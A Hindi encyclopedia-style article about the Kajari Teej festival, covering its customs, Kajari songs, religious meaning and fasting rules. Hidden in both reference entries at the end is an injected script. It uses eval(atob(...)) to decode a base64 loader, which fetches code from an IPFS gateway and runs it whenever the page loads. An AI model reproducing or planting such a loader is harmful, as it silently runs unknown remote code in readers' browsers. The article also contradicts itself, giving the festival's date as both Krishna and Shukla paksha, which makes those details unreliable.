कजरी तीज  

कजरी तीज
अन्य नाम 'सतवा', 'सातुड़ी तीज'
अनुयायी हिंदू
उद्देश्य इस अवसर पर सुहागिन महिलाएँ कजरी खेलने अपने मायके जाती हैं। इसके एक दिन पूर्व यानि भाद्रपद कृष्ण पक्ष द्वितीया को 'रतजगा' किया जाता है।
तिथि भाद्रपद कृष्ण पक्ष तृतीया
उत्सव सूर्यास्त के समय स्नान करके, शुद्ध तथा श्वेत वस्त्र धारण कर शिव-पार्वती की मिट्टी की प्रतिमा बनाकर पूजन करना चाहिये।
अनुष्ठान यह माहेश्वरी समाज का विशेष पर्व है, जिसमें जौ, गेहूँ, चावल और चने के सत्तू में घी, मीठा और मेवा डाल कर पकवान बनाते हैं और चंद्रोदय होने पर उसी का भोजन करते हैं।
धार्मिक मान्यता शास्त्रों में कहा जाता है कि अखण्ड सुहाग के लिए इस दिन शिव-पार्वती का विशेष पूजन होता है। शास्त्रों मे इसके लिये विधवा-सधवा सभी को व्रत रहने की सम्पूर्ण छूट है।
अन्य जानकारी कजरी खेलना और कजरी गाना दोनों अलग-अलग बातें हैं। कजरी गीतों में जीवन के विविध पहलुओं का समावेश होता है।

कजरी तीज भाद्रपद मास के कृष्ण पक्ष की तृतीया तिथि को मनाया जाने वाला त्योहार है। इस पर्व को 'हरितालिका तीज' भी कहा जाता है। इस अवसर पर सुहागिन महिलाएँ कजरी खेलने अपने मायके जाती हैं। इसके एक दिन पूर्व यानि भाद्रपद कृष्ण पक्ष द्वितीया को 'रतजगा' किया जाता है। महिलाएँ रात भर कजरी खेलती तथा गाती हैं। कजरी खेलना और कजरी गाना दोनों अलग-अलग बातें हैं। कजरी गीतों में जीवन के विविध पहलुओं का समावेश होता है। इसमें प्रेम, मिलन, विरह, सुख-दु:ख, समाज की कुरीतियों, विसंगतियों से लेकर जन जागरण के स्वर गुंजित होते हैं।

स्वरूप

'कजरी तीज' से कुछ दिन पूर्व सुहागिन महिलाएँ नदी-तालाब आदि से मिट्टी लाकर उसका पिंड बनाती हैं और उसमें जौ के दाने बोती हैं। रोज इसमें पानी डालने से पौधे निकल आते हैं। इन पौधों को कजरी वाले दिन लड़कियाँ अपने भाई तथा बुजुर्गों के कान पर रखकर उनसे आशीर्वाद प्राप्त करती हैं। इस प्रक्रिया को 'जरई खोंसना' कहते हैं। कजरी का यह स्वरूप केवल ग्रामीण इलाकों तक सीमित है। यह खेल गायन करते हुए किया जाता है, जो देखने और सुनने में अत्यन्त मनोरम लगता है। कजरी-गायन की परंपरा बहुत ही प्राचीन है। सूरदास, प्रेमधन आदि कवियों ने भी कजरी के मनोहर गीत रचे थे, जो आज भी गाए जाते हैं। 'कजरी तीज' को 'सतवा' व 'सातुड़ी तीज' भी कहते हैं। यह माहेश्वरी समाज का विशेष पर्व है, जिसमें जौ, गेहूँ, चावल और चने के सत्तू में घी, मीठा और मेवा डाल कर पकवान बनाते हैं और चंद्रोदय होने पर उसी का भोजन करते हैं।[१]

महत्त्व

भारतीय संस्कृति मे त्यौहार का विशेष महत्त्व है। सुख, सौभाग्य और पराक्रम का बोध कराने वाले त्यौहारों का हिन्दू जन मानस मे हमेशा स्वागत किया जाता है। विशेषकर महिलाओं में गजब का उत्साह दिखाई पड़ता है। ऐसा ही महिलाओं का एक अति विशेष त्यौहार है 'कजरी तीज'। यह व्रत भाद्रपद माह की शुक्ल पक्ष की तृतीया को मनाने की परम्परा है। शास्त्रों में कहा जाता है कि अखण्ड सुहाग के लिए इस दिन शिव-पार्वती का विशेष पूजन होता है। शास्त्रों मे इसके लिये विधवा-सधवा सभी को व्रत रहने की सम्पूर्ण छूट है।

कजरी तीज मनाती हुई महिलाएँ

इस व्रत को 'हरितालिका' इसलिए कहते हैं कि पार्वती की सखी उसे पिता प्रदेश से हरकर घनघोर जंगल मे ले गई थी। 'हरत' शब्द का अर्थ है- 'हरण करना' तथा 'आलिका' शब्द का अर्थ है- 'सहेली', 'सखी' आदि, अर्थात् सखी हरण करने की प्रक्रिया के कारण ही इस व्रत का नाम 'हरितालिका तीज' व्रत पड़ा। मुख्यतः इस दिन व्रत रहने वाली स्त्रियाँ संकल्प लेकर घर की साफ, सफाई कर, पूजन सामग्री एकत्रित करती हैं। शास्त्रों में कहा गया है कि इस व्रत को करने वाली सभी स्त्रियाँ देवी पार्वती के समान सुखपूर्वक पतिरमण करके साक्षात शिवलोक को जाती हैं। इस व्रत में पूर्णतः निराहार निर्जला रहना होता है। सूर्यास्त के समय स्नान करके, शुद्ध तथा श्वेत वस्त्र धारण कर शिव-पार्वती की मिट्टी की प्रतिमा बनाकर पूजन करना चाहिये। जहाँ तक सम्भव हो, प्रातः दोपहर और सायंकाल की पूजा भी घर पर ही करना श्रेयस्कर होता है।[२]

व्रत विधि

  1. स्त्रियाँ निराहार निर्जला रहकर व्रत करें।
  2. पूजन के पश्चात् ब्राह्मण को भोजन के साथ यथाशक्ति दक्षिणा देकर ही व्रत का पारण करें।
  3. सुहाग सामग्री किसी ग़रीब ब्राह्मणी को ही देना चाहिए।
  4. सास-ननद आदि को चरण स्पर्श कर यथाचित आशीर्वाद लेना चाहिए।
  5. शुद्धता के साथ और शुद्ध मनःस्थिति के साथ ही शिव-पार्वती का पूजन करना चाहिए।
  6. सच्ची लगन और निष्ठा के साथ ही गौरी-शंकर का पूजन-भजन करना चाहिये।


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टीका टिप्पणी और संदर्भ

  1. कजरी तीज, सुहागिनों का प्रिय त्योहार (हिन्दी)। । अभिगमन तिथि: 23 अगस्त, 2013।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  2. अखण्ड सुहाग का प्रतीक हरितालिका तीर (हिन्दी)। । अभिगमन तिथि: 23 अगस्त, 2013।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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